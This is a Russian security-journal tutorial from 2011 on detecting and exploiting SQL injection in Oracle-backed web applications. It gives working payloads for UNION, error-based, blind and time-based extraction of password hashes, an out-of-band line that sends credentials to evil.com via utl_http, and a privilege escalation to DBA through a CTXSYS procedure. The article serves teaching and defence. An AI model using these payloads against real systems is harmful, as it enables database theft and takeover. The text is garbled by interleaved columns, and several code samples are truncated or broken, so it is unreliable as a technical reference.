Выявление и эксплуатация SQL инъекций в приложениях

Страница создана Малик Тимофеев
 
ПРОДОЛЖИТЬ ЧТЕНИЕ
ОРГАНИЗАЦИОННЫЕ ВОПРОСЫ И ПРАВО

Выявление и эксплуатация
SQLинъекций в приложениях
М. Егоров, руководитель проектов       SQLинъекция – это атака, при которой злоумышленником производится
НПО «Эшелон»                           вставка вредоносного кода в строки, передающиеся на сервер СУБД для
mail@npoechelon.ru
                                       синтаксического анализа и выполнения. Успешная реализация данной атаки
                                       позволяет обойти систему безопасности приложения и получить доступ
                                       к конфиденциальной информации, которая содержится в БД, а также к функ
                                       циональным возможностям СУБД и в некоторых случаях – доступ к операци
                                       онной системе сервера, на котором функционирует СУБД. Как следствие,
                                       злоумышленник получает доступ к конфиденциальной информации, содер
                                       жащейся в БД, и доступ к командам операционной системы сервера СУБД,
                                       тем самым делая его плацдармом для последующих атак других серверов
                                       и приложений, расположенных в корпоративной сети организации.
                                       Как правило, SQLинъекции рассматривают применительно к webприложе
                                       ниям, на самом деле данным уязвимостям подвержены любые клиентсервер
                                       ные и сервисориентированные приложения, работающие с СУБД.

                                       ствие SQL-инъекций, неуклонно рас-        Процесс, изображенный на рис. 1,
                                       тет с каждым годом. Многие разра-      описывает взаимодействие между
                                       ботчики и специалисты в области        компонентами web-приложения
                                       информационной безопасности не-        и состоит из следующих шагов.
                                       дооценивают серьезность данной            1. Пользователь отправляет за-
                                       уязвимости, тем самым создавая се-     прос             http://localhost:8080/
                                       рьезную угрозу для безопасности ин-    catalog/show.jsp?name=Product 1 на
                                       формационных систем. К сожале-         сервер приложений. В качестве
                                       нию, то, о чем обычно пишут в лите-    строкового параметра name переда-
                                       ратуре по данной тематике, касается    ется значение Product 1.
    Первые сведения о SQL-инъек-       лишь наиболее простых и триви-            2. Сервер приложений динами-
циях появились в открытом досту-       альных примеров реализации SQL-        чески формирует SQL-запрос SE-
пе в статье «NT Web Technology Vul-    инъекций.                              LECT * FROM products WHERE name
nerabilities», опубликованной еще          Ведущая организация в области      LIKE ‘Products 1%’ ORDER BY name.
в 1998 году. С 2000 года данную тех-   информационной безопасности –             3. Из таблицы products извлека-
нику начали широко применять ки-       SANS Institute – в отчете «2010 CWE/   ются данные о товарах, наименова-
бер-преступники для взлома интер-      SANS Top 25 Most Dangerous Pro-        ние которых начинается с Product 1,
нет-сайтов. На сегодняшний день су-    gramming Errors» заслуженно прису-     результат упорядочивается по на-
ществует большое количество техник     дила SQL-инъекции второе место         именованию товара. Данные переда-
эксплуатации SQL-инъекций для          в рейтинге наиболее критичных уяз-     ются серверу приложений.
различных СУБД и приложений на         вимостей.                                 4. Сервер приложений форми-
их основе.                                                                    рует результат, который отобража-
    Несмотря на то, что данной уяз-                                           ется пользователю.
вимости более десяти лет, количес-     1. Пример из практики                     Если в качестве параметра пере-
тво случаев, связанных с несанкци-        Рассмотрим приложение, состо-       дать строку Product 1’ AND 1=2 --,
онированным доступом к информа-        ящее из трех компонентов: пользо-      то на сервер СУБД поступит SQL-
ционным системам и утечкой кон-        вателя, сервера приложений и сер-      запрос SELECT * FROM products
фиденциальной информации вслед-        вера управления базами данных.         WHERE name LIKE ‘Products 1’ AND

  2                                                                                Защита информации. INSIDE № 2’2011
ОРГАНИЗАЦИОННЫЕ ВОПРОСЫ И ПРАВО

1=2 --%’ ORDER BY name, причем часть %’ ORDER BY
name закоментирована и не будет исполняться. Запрос
не вернет ни одной строки, так как условие 1 = 2 явля-
ется ложным.
   Процесс, изображенный на рис. 2, описывает взаимо-
действие между компонентами приложения при SQL-
инъекции.
   Приведенный выше пример показал, как пользова-
тель, модифицируя передаваемый строковый параметр,                   Рис. 1. Нормальный процесс работы приложения
заставил СУБД выполнять дополнительные команды.

2. Пять основных причин
возникновения SQLинъекций
  Рассмотрим основные причины возникновения SQL-
инъекций в приложениях, работающих с СУБД.
                                                                   Рис. 2. Процесс работы приложения при SQL-инъекции
2.1. Динамическое построение SQLзапросов
   Данный прием широко используют разработчики                     то запрос, передаваемый СУБД, может быть модифици-
приложений. Ниже преведен пример динамического                     рован злоумышленником с целью получения конфиден-
SQL-запроса на языке Java.                                         циальной информации из БД.

// Создание динамического запроса                                  2.4. Некорректная обработка типов
String query = “SELECT * FROM products WHERE name LIKE ‘ ”             Многие разработчики приложений полагают, что
+ request.getParameter(“name”) + “%’ ORDER BY name”;               фильтрация одинарных кавычек (‘) спасает от SQL-
                                                                   инъекций. Символ одинарной кавычки (‘) обозначает
   Динамические SQL-запросы популярны среди раз-                   конец строки в SQL-запросе и отделяет данные от ис-
работчиков, так как они просты и удобны в использо-                полняемых команд. Фильтрацией (‘) можно защитить-
вании. К сожалению, динамические SQL-запросы явля-                 ся от SQL-инъекций только в строковых параметрах.
ются причиной SQL-инъекций. Если входные данные                        При этом сохраняются инъекции в параметрах дру-
не достаточно проверяются и не кодируются приложе-                 гих типов, например в числовых.
нием в момент передачи запроса СУБД на выполнение,
тогда при определенных условиях они могут быть ин-                 // инъекция в числовом параметре
терпретированы СУБД как дополнительные команды.                    1 UNION SELECT 1, username, password FROM dba_users
   Многие СУБД поддерживают параметризованные
запросы. Параметры (в СУБД Oracle они называются
bind variables) передаются до момента выполнения за-               2.5. Небезопасная конфигурация СУБД
проса СУБД. Параметризованные запросы позволяют                       Написание безопасного кода, безусловно, важная за-
безопасно работать с СУБД, так как передаваемые дан-               дача для разработчиков приложений. Можно сущест-
ные никогда не будут интерпретированы как команды                  венно сократить ущерб от SQL-инъекции, правильно
и выполнены.                                                       настроив параметры безопасности СУБД.
                                                                      В СУБД Oracle пользователи DBSNMP, OE, OUTLN
2.2. Некорректная обработка исключений                             создаются при установке СУБД и имеют стандартные
    Большинство приложений некорректно обрабатыва-                 пароли, а также обладают критичными с точки зрения
ют исключительные ситуации, возникающие при рабо-                  безопасности привилегиями. Помимо учетных записей
те с СУБД, и отображают сообщение о возникшем ис-                  со стандартными паролями в Oracle есть большое ко-
ключении пользователю. В результате злоумышленник                  личество уязвимых PL/SQL-процедур, часть из которых
сможет узнать детали реализации приложения (язык                   доступна для выполнения непривилегированным поль-
разработки приложения, тип и версию СУБД), а также                 зователям.
извлечь конфиденциальную информацию из БД.                            Еще одной серьезной проблемой является наличие
                                                                   избыточных привилегий у учетной записи, используя
2.3. Некорректная обработка специальных символов                   которую сервер приложений работает с СУБД. Как пра-
   В СУБД Oracle символы (‘), (.), (,), (||), (/*),(*/), (“) яв-   вило, разработчики приложений не являются специа-
ляются специальными. Так, символ одинарной кавыч-                  листами по СУБД и тем более специалистами по инфор-
ки (‘) интерпретируется в SQL-запросе как начало/ко-               мационной безопасности. В связи с этим они не всегда
нец строки, а символ комментария (*/) обозначает ко-               уделяют внимание вопросам безопасной работы при-
нец комментария.                                                   ложения с СУБД и назначают учетной записи избыточ-
   Если приложение некорректно обрабатывает специ-                 ные (в некоторых случаях – максимальные) привилегии
альные символы, содержащиеся во входных параметрах,                (например, роль DBA). В результате успешной эксплу-

  Защита информации. INSIDE № 2’2011                                                                                  3
ОРГАНИЗАЦИОННЫЕ ВОПРОСЫ И ПРАВО

атации SQL-инъекции злоумышленник получает до-                     Таким образом, количество аргументов в SQL-за-
ступ ко всей конфиденциальной информации, содер-                просе равно трем. На практике применяется не линей-
жащейся в БД.                                                   ный, а бинарный поиск. Напомним, что время подбо-
                                                                ра количества аргументов при бинарном поиске равно
                                                                O(log(n)), где n – количество аргументов в запросе.
3. Техники, применяемые при эксплуатации                           После определения количества аргументов перебором
SQLинъекций                                                    определяется для каких аргументов задан constraint NOT
    Рассмотрим основные способы и техники экспула-              NULL и тип этих аргументов (числовой, строковый или
тации SQL-инъекций, при помощи которых злоумыш-                 дата). В качестве остальных аргументов передается null.
ленник может получить доступ к содержимому БД. Рас-
сматриваемые техники являются универсальными, так                возникло исключение
как применимы для СУБД Oracle, MySQL и MS SQL                   UNION SELECT ‘test’, null, null FROM dual 
Server, широко используемых при создании web-при-                запрос выполнен
ложений, и работают вне зависимости от используемо-             UNION SELECT null, ‘test’, null FROM dual 
го языка разработки: ASP, Java или PHP.
    Далее будут рассмотрены следующие техники экс-                  После определения количества аргументов и опре-
плуатации уязвимости:                                           деления не нулевых аргументов (NOT NULL), а также их
● Union SQL-инъекция.                                           типов (числовой, строковый и дата), в качестве второ-
● Error-based SQL-инъекция.                                     го параметра злоумышленник передает нужный SQL-за-
● Blind SQL-инъекция.                                           прос, который должен возвращать строку. Для получе-
● Time-based SQL-инъекция.                                      ния хэша пароля пользователя SYS из таблицы dba_users
● Out-bound SQL-инъекция.                                       можно передать следующее выражение в качестве уяз-
                                                                вимого строкового параметра.
3.1. Union SQLинъекция
    Использование данной техники основано на приме-             ‘ UNION SELECT null, (SELECT username || ‘’ || password
нении оператора UNION, который позволяет объеде-                FROM dba_users WHERE username = ‘SYS’), null FROM dual 
нить результаты выполнения двух или более запросов
SELECT. Использование данной техники заключается
в добавлении нужного запроса SELECT при помощи                  3.2. Errorbased SQLинъекция
оператора UNION к первоначальному запросу.                         Данная техника используется, когда приложение не-
    Для корректности результирующего запроса, полу-             корректно обрабатывает исключения, возникающие при
ченного при помощи оператора UNION, необходимо,                 работе с СУБД, и сообщение о возникшем исключении
чтобы у двух выражений SELECT совпадало количество              отображается пользователю. В СУБД Oracle есть уязви-
и тип аргументов. В противном случае СУБД сгенериру-            мые функции, которые отображают в сообщении о воз-
ет исключение. В зависимости от логики работы прило-            никшем исключении часть входных параметров. К таким
жения либо будет выведено сообщение о возникшем при             функциям относятся XMLType() и ctxsys.drithsx.sn().
работе с СУБД исключением, либо страница отобразит-                Используя данные функции, злоумышленник мо-
ся пользователю некорректно.                                    жет построчно считывать информацию из таблицы БД
    Первоначально злоумышлениик перебором опреде-               (например, хэши паролей из таблицы dba_users).
ляет количество аргументов в SQL-запросе. Универсаль-              При использовании функции XMLType() SQL-инъек-
ным методом определения количества аргументов яв-               ция выглядит следующим образом.
ляется использование оператора сортировки ORDER BY.
При несовпадении количества аргументов СУБД Oracle               извлечение первой строки из dba_users
выдает следующее сообщение.                                     ‘ AND (1)=UPPER(XMLType(‘’)) 
                                                                 извлечение второй строки из dba_users
   Для определения количества аргументов в качестве             ‘ AND (1)=UPPER(XMLType(‘’)) 
                                                                …
 запрос выполнен
‘ ORDER BY 1                                                    При использовании функции ctxsys.drithsx.sn() SQL-
 запрос выполнен                                              инъекция выглядит следующим образом.
‘ ORDER BY 2 
 запрос выполнен                                               извлечение первой строки из dba_users
‘ ORDER BY 3                                                  ‘ AND 1=ctxsys.drithsx.sn(1,(SELECT cred FROM (SELECT
 возникло исключение                                          username || ’‘ || password cred, rownum FROM dba_users)
‘ ORDER BY 4                                                  WHERE rn= 1)) 

 4                                                                                         Защита информации. INSIDE № 2’2011
ОРГАНИЗАЦИОННЫЕ ВОПРОСЫ И ПРАВО

 извлечение второй строки из dba_users                       Для ускорения посимвольного извлечения можно
‘ AND 1=ctxsys.drithsx.sn(1,(SELECT cred FROM (SELECT       использовать бинарный поиск.
username || ’‘ || password cred, rownum FROM dba_users)
WHERE rn= 2))                                             3.4. Timebased SQLинъекция
…                                                               Данная техника похожа на Blind SQL-инъекцию. Так-
                                                            же составляется SQL-выражение, но анализируется не
                                                            возвращаемый результат, а время отклика сервера СУБД.
3.3. Blind SQLинъекция                                     При ложном значении SQL-выражения время отклика
   В случае если нельзя использовать Union и Error-         незначительно, а при истинном значеннии составляет-
based SQL-инъекцию: результат выполнения запроса не         ся несколько секунд. Используя данную технику можно
отображается пользователю либо приложение коррект-          проверять логические условия, например наличие роли
но обрабатывет исключения. Однако если при этом, мо-        DBA у текущего пользователя, а также посимвольно из-
дифицируя запрос, можно влиять на логику работы             влекать данные из таблиц БД. Time-based SQL-инъекция
приложения: при определенных входных данных неко-           выполняется медленне чем Blind SQL-инъекции.
торые страницы отображаются неправильно или запрос              Для внесения задержки обычно используется следу-
возвращает только часть информации. В этом случе            ющий SQL-запрос.
можно использовать технику Blind SQL.
   Составляется SQL-выражение, которое при истин-            задержка в несколько секунд
ном значении не нарушает логику работы приложения.          SELECT count(*) FROM all_objects, all_objects
При ложном же значении возникает аномальное пове-
дение в работе web-приложения: страницы неправиль-             Таким образом, для посимвольного извлечения
но отображаются либо возвращается только часть дан-         данных из таблиц БД можно использовать следующую
ных. С целью проверки логических условий в качестве         инъекцию.
подобного SQL-выражения можно использовать следу-
ющее.                                                        извлечение первого символа
                                                            Product 1‘ AND 0!=(select decode(substr(user,1,1),’A’,
// INJECTION – SQLзапрос, который возвращает значение,     (select count(*) from all_objects, all_objects),0) from dual) 
либо null                                                   Product 1‘ AND 0!=(select decode(substr(user,1,1),’B’,
// null – страница некорректно отображается                 (select count(*) from all_objects, all_objects),0) from dual) 
AND NVL(INJECTION,0) != 0                                   Product 1‘ AND 0!=(select decode(substr(user,1,1),’C’,
                                                            (select count(*) from all_objects, all_objects),0) from dual) 
   Для того чтобы выяснить, обладает ли текущий поль-       …
зователь правами роли DBA, можно использовать сле-          извлечение второго символа
дующую инъекцию.                                            Product 1‘ AND 0!=(select decode(substr(user,2,1),’A’,
                                                            (select count(*) from all_objects, all_objects),0) from dual) 
 если страница корректно отобразилась, пользователю       Product 1‘ AND 0!=(select decode(substr(user,2,1),’B’,
назначена роль DBA                                          (select count(*) from all_objects, all_objects),0) from dual) 
Product 1‘ AND NVL((SELECT LENGTH(username) FROM            Product 1‘ AND 0!=(select decode(substr(user,2,1),’C’,
user_role_privs WHERE granted_role = ‘DBA’),0) != 0       (select count(*) from all_objects, all_objects),0) from dual) 
                                                            …
   Для посимвольного извлечения данных из таблиц
БД можно использовать следующую инъекцию                       Как и в предыдущем случае, для ускорения посимволь-
                                                            ного извлечения можно использовать бинарный поиск.
 извлечение первого символа
Product 1‘ AND NVL(ASCII(SUBSTR((SELECT user FROM           3.5. Outbound SQLинъекция
dual)),1,1)),0) = 65                                         В случае если ни одна из вышеперечисленных тех-
Product 1‘ AND NVL(ASCII(SUBSTR((SELECT user FROM           ник эксплуатации SQL-инъекций не применима мож-
dual)),1,1)),0) = 66                                      но воспользоваться Out-bound техникой. Для примене-
Product 1‘ AND NVL(ASCII(SUBSTR((SELECT user FROM           ния данной техники необходим удаленный сервер, ко-
dual)),1,1)),0) = 67                                      торый находится под контролем злоумышленника,
…                                                           либо доступ к директории на сервере СУБД. Техника за-
извлечение второго символа                                ключается в следующем: злоумышленник направляет
Product 1‘ AND NVL(ASCII(SUBSTR((SELECT user FROM           вывод результата SQL-запроса на удаленный сервер, ис-
dual)),2,1)),0) = 65                                      пользуя протоколы DNS, HTTP, SMTP, или осуществ-
Product 1‘ AND NVL(ASCII(SUBSTR((SELECT user FROM           ляет запись в файл, который расположен в доступной
dual)),2,1)),0) = 66                                      для злоумышленника директории на сервере СУБД.
Product 1‘ AND NVL(ASCII(SUBSTR((SELECT user FROM              Используя пакет utl_http злоумышленник может на-
dual)),2,1)),0) = 67                                      править данные из таблиц БД на удаленный сервер сле-
…                                                           дующим образом.

  Защита информации. INSIDE № 2’2011                                                                                    5
ОРГАНИЗАЦИОННЫЕ ВОПРОСЫ И ПРАВО

 результата выполнения запроса передается              ● параметров HTTP-заголовка (таких как Referer и User-
на http://evil.com                                         Agent).
‘ AND 1=SELECT SUM(LENGTH(utl_http.request(‘http://ev      После определения входных параметров необходи-
il.com/’||username||””||password)) FROM dba.users    мо определить корректность обработки их web-прило-
                                                         жением. Модифицируя входные параметры, необходи-
   Функция Sum() необходима для получения всех за-       мо добиться возникновения исключения в web-прило-
писей из таблицы dba_users. Стоит отметить, что в не-    жении, результатом которого будет сообщение о воз-
которых версиях Oracle в стандартной конфигурации        никшем исключении либо некорректно отображенная
пакет utl_http доступен на выполнение роли PUBLIC.       страница или ответ, содержащий неполные (избыточ-
                                                         ные) данные.
                                                            Для тестирования страницы на наличие SQL-инъекции
4. Процесс обнаружения и эксплуатации                    можно выполнить последовательно следующие запросы.
SQLинъекций
   Мы рассмотрели причины возникновения SQL-инъек-        страница отображается корректно
ций и рассмотрели техники, которые могут быть исполь-    http://localhost:8080/catalog/show.jsp?name=Product 1
зованы при эксплуатации уязвимостей. Теперь рассмо-
трим весь процесс эксплуатации SQL-инъекции, начи-        не выполнена сортировка данных
ная с обнаружения уязвимого параметра и заканчивая из-   http://localhost:8080/catalog/show.jsp?name=Product 1’
влечением требуемой информации из БД.                    AND 1=1 
   На рис. 3 представлен процесс эксплуатации SQL-
инъекции, который состоит из пяти основных шагов:         данные на странице не отображаются, т. к. условие
● выявления SQL-инъекции;                                1 = 2 – ложно
● определения типа и версии СУБД;                        http://localhost:8080/catalog/show.jsp?name=Product 1’
● определения имени пользователя и его привилегий;       AND 1=2 
● повышения привилегий;
● эксплуатации уязвимости.                                  В результате, параметр name на страницe show.jsp яв-
                                                         ляется уязвимым.
4.1. Выявление SQLинъекции                                 Для определения SQL-инъекций широко применя-
   Первым шагом в процессе выявления SQL-инъек-          ются инструментальные средства для автоматического
ции является определение способов передачи данных        тестирования web-приложений на наличие уязвимос-
в web-приложение:                                        тей: HP WebInspect, HP Scrawlr, IBM Rational AppScan,
● параметров, передаваемых при помощи GET- или           SQLiX, Paros Proxy.
  POST-методов;                                             Инструментальные средства автоматически выпол-
● значений, содержащихся в Cookie;                       няют следующие проверки для передаваемых строко-
                                                         вых параметров.

                                                          value – строковое значение при котором исключение
                                                         не возникает
                                                         ‘
                                                         value’ OR
                                                         value’ OR 5=5 OR ‘s’=’o
                                                         value’ AND 5=5 OR ‘s’=’o
                                                         value’ OR 5=0 OR ‘s’=’o
                                                         value’ AND 5=0 OR ‘s’=’o

                                                            Для числовых параметров выполняют следующие
                                                         проверки.

                                                          value – числовое значение при котором исключение
                                                         не возникает
                                                         0+value
                                                         value AND 5=5
                                                         value AND 5=0
                                                         value OR 5=5 OR 4=0
                                                         value OR 5=0 OR 4=0

                                                            В качестве способов передачи параметров можно за-
                                                         дать GET- и POST-методы, Cookie, параметры HTTP-за-
     Рис. 3. Процесс эксплуатации SQL-инъекции           головка.

 6                                                                               Защита информации. INSIDE № 2’2011
ОРГАНИЗАЦИОННЫЕ ВОПРОСЫ И ПРАВО

4.2. Определение типа и версии СУБД                               ● DBA;
    Без знания типа и версии СУБД невозможно эксплу-              ● JAVASYSPRIV;
атировать SQL-инъекцию и корректно сформировать                   ● IMP/EXP_FULL_DATABASE;
запрос, который вернет нужную информацию из БД.                   ● SELECT/EXPORT/DELETE_CATALOG_ROLE.
    Первое, что необходимо сделать – определить ис-                  Данный запрос возвращает назначенные текущему
пользуемую для построения web-приложения инфра-                   пользователю системные привилегии.
структуру и технологию. Например, если применяется
технология ASP .Net и IIS, то, скорее всего, в качестве            извлечение назначенных системных привелегий
СУБД используется Microsoft SQL Server. Конечно, пол-             SELECT privilege || ‘‘ || admin_option FROM user_sys_privs
ностью полагаться на данную информацию нельзя.
    Если web-приложение выводит сообщение о возник-                   Критичными с точки зрения безопасности являют-
шем исключении при работе с СУБД, можно легко опре-               ся следующие системные привилегии:
делить тип СУБД. Сообщение об ошибке, начинающееся                ● GRANT ANY OBJECT/PRIVILEGE/ROLE;
со слова ORA, говорит об использовании СУБД Oracle.               ● SELECT ANY DICTIONARY;
                                                                  ● SELECT ANY TABLE;
ORA01773: may not specify column datatypes in this               ● INSERT/UPDATE/DELETE ANY TABLE;
CREATE TABLE                                                      ● EXECUTE ANY PROCEDURE;
                                                                  ● CREATE/ALTER ANY PROCEDURE;
   Поскольку каждая СУБД по разному обрабатывает                  ● CREATE LIBRARY;
конкатенацию строк, по этому признаку можно судить                ● CREATE ANY DIRECTORY;
о типе СУБД.                                                      ● CREATE/ALTER ANY VIEW;
                                                                  ● CREATY ANY TRIGGER;
 если запрос обработан корректно, мы имеем дело с Oracle        ● CREATE ANY/EXTERNAL JOB.
‘some’ || ‘thing’                                                     Учетная запись, которая используется сервером при-
CONCAT(‘some’, ‘thing’)                                           ложений для работы с СУБД, не должна обладать указан-
                                                                  ными выше системными привилегиями и ролями.
   Ситуация с обработкой числовых значений выгля-
дит аналогичным образом.                                          4.4. Повышение привилегий
                                                                      Повышение привилегий необходимо, если злоумыш-
 если запрос обработан корректно, мы имеем дело с Oracle        ленник не обладает нужными привилегиями для эксплу-
BITAND(1,1)                                                       атации SQL-инъекции и извлечения нужных данных из
                                                                  таблиц БД.
   Для определения версии СУБД необходимо извлечь                     Одним из способов повышения привилегий явля-
баннер при помощи следующего SQL-запроса.                         ется эксплуатация PL/SQL-инъекций в хранимых про-
                                                                  цедурах СУБД. PL/SQL-инъекция – это изменение хо-
 извлечение баннера                                             да выполнения PL/SQL-процедуры/функции/триггера
SELECT banner FROM v$version WHERE rownum = 1                     путем внедрения команд в доступные входные параме-
                                                                  тры. В стандартной поставке СУБД Oracle существует
   Данный запрос можно использовать в качестве по-                большое количество пакетов и процедур (для статисти-
лезной нагрузки одного из пяти методов эксплуатации               ки: в СУБД Oracle 10g 16 500 процедур в 1300 пакетах),
SQL-инъекции, которые были рассмотрены выше.                      поэтому шанс обнаружить среди них уязвимую проце-
                                                                  дуру достаточно высок. Часть из этих процедур доступ-
4.3. Определение имени пользователя и привилегий                  ны непривелегированным пользователям СУБД и вы-
   Определить имя текущего пользователя, назначен-                полняются от имени их владельца – привелегирован-
ные роли и системные привилегии можно, используя                  ного пользователя SYS или CTXSYS.
один из пяти методов эксплуатации SQL-инъекции.                       Одна из наиболее известных процедур – VALI-
   Этот запрос возвращает имя текущего пользователя.              DATE_STMT из пакета DRILOAD, который принажле-
                                                                  жит пользователю CTXSYS. Данная процедура прини-
 извлечение имени текущего пользователя                         мает в качестве входного параметра PL/SQL-код и пе-
SELECT user FROM dual                                             редает его на выполнение. Для повышения привилегий
                                                                  до DBA можно использовать следующий запрос.
   Данный запрос возвращает назначенные текущему
пользователю роли.                                                // повышаем привилегии до DBA
                                                                  EXEC CTXSYS.DRILOAD.VALIDATE_STMT(‘GRANT DBA TO app’);
извлечение назначенных ролей
SELECT granted_role || ‘—‘ || admin_option FROM user_role_privs      Таким образом, если подобная процедура доступна
                                                                  роли PUBLIC или у текущего пользователя есть приви-
    Критичными с точки зрения безопасности являют-                легия EXECUTE_ANY_PROCEDURE, он сможет повы-
ся следующие роли:                                                сить свои привилегии до DBA.

  Защита информации. INSIDE № 2’2011                                                                                       7
ОРГАНИЗАЦИОННЫЕ ВОПРОСЫ И ПРАВО

4.5. Эксплуатация уязвимости                                        Для извлечения имен и типов столбцов можно вос-
   На данном шаге у злоумышленника есть информа-                 пользоваться следующим запросом.
ция о том, какая СУБД используется и какие техники
эксплутации SQL-инъекции возможно применять. В за-               SELECT owner||’.’||table_name||’:’||column_name||’:’||data_type
висимости от назначенных текущему пользователю ро-               FROM all_tab_columns ORDER BY table_name,column_id
лей и привилегий злоумышленник может попытаться
осуществить одно из следующих действий:                             В результате мы имеем полную структуру таблиц БД,
● извлечь хэши паролей пользователей СУБД;                       и можно извлекать нужную информацию.
● получить структуру БД и данные;
● выполнить команды ОС.                                          4.5.3. Выполнение команд ОС
                                                                     Для выполнения команд ОС злоумышленнику необ-
4.5.1. Извлечение хэшей паролей                                  ходим прямой доступ к СУБД (возможность подключе-
    В СУБД Oracle хэши паролей храняться в таблице               ния с использованием утилит SQL PLUS или TOAD for
SYS.USER$, кроме того они содержатся в представлении             Oracle) с максимальными правами либо требуется нали-
DBA_USERS. Для расчета хэша в Oracle 10g и более ран-            чие PL/SQL-инъекций. Выполнение команд ОС с исполь-
них версиях используется алгоритм, основанный на DES.            зованием только SQL-инъекций невозможно.
В Oracle 11g применяется более защищенный алгоритм                   Существует достаточно способов для выполнения
на основе SHA1, и хэш пароля не доступен из представ-            команд ОС через СУБД, основные из них следующие:
ления DBA_USERS. По умолчанию в Oracle 11g в табли-              ● выполнение команд ОС, используя уязвимости пе-
це SYS.USER$ доступны два варианта хэша.                           реполнения буфера;
    Для извлечения хэша пароля в Oracle 10g и более ран-         ● выполнение команд ОС, используя файл SPNC_COM-
них версиях можно использовать следующий запрос.                   MANDS;
                                                                 ● выполнение команд ОС, используя Java-процедуры;
 извлечение DESхэша в Oracle 0 AND LENGTH(password) = 16                                на с правами администратора ОС – в этом случае воз-
                                                                 можность запускать команды ОС позволяет получить
 извлечение SHA1хэша в Oracle 11g                             административные права на сервере.
SELECT username || SUBSTR(spare4,3,40) hash ||
SUBSTR(spare4,43,20) salt FROM sys.user$ WHERE type#>0
AND LENGTH(spare4) = 62                                          Заключение
                                                                     SQL-инъекции были и остаются наиболее критичны-
   Для подбора пароля по значению хэша можно вос-                ми уязвимостями приложений. В результате успешной
пользоваться утилитами Checkpwd, Cain & Abel, orabf,             реализации SQL-инъекции злоумышленник может обой-
woraauthbf и GSAuditor.                                          ти логику работы приложения, получить доступ к конфи-
                                                                 денциальной информации, содержащейся в СУБД, а при
4.5.2. Получение структуры БД и данных                           определенных условиях даже получить полный доступ
    Для извлечения данных из таблицы БД необходимо               к серверу, на котором функционирует СУБД. Если при
обладать следующей информацией:                                  этом учесть, что отдельные приложения интегрированы
● владельц схемы, в которой находится таблица;                   друг с другом внутри ИС компании, получение НСД к уяз-
● имя таблицы;                                                   вимому приложению позволит злоумышленнику полу-
● количество записей в таблице;                                  чить контроль над всей информационной системой. ■
● количество столбцов;
● имена и типы столбцов.                                         ЛИТЕРАТУРА
    Указанную информацию можно извлечень из пред-                1. Justin C. SQL Injection Attacks and Defense. – Syngress Date, 2009.
ставлений СУБД ORACLE all_tables и all_tab_columns.              2. Поляков А. М. Безопасность Oracle глазами аудитора: нападение
Следующий запрос извлекает информацию о владель-                 и защита. – М.: ДМК Пресс, 2010.
це схемы, имени таблицы, количестве записей и коли-              3. Litchfield D, Anley C., Heasman J, Grindlay B. The Database Hacker’s
честве столбцов.                                                 Handbook: Defending Database Servers. – Wiley Date, 2005.
                                                                 4. Евтеев Д. Учимся на ошибках. Методика проведения error-based
SELECT b.owner||’.’||b.table_name||’[’||count(*)||’]=’num_rows   SQL-Injection // Хакер. 2010, № 135.
FROM all_tab_columns a, all_tables b WHERE a.table_name =        5. Марков А. С., Миронов С. В., Цирлов В. Л. Выявление уязвимостей
b.table_name GROUP BY b.owner,b.table_name,num_rows              в программном коде // Открытые системы. 2005, № 12.

 8                                                                                              Защита информации. INSIDE № 2’2011
Вы также можете почитать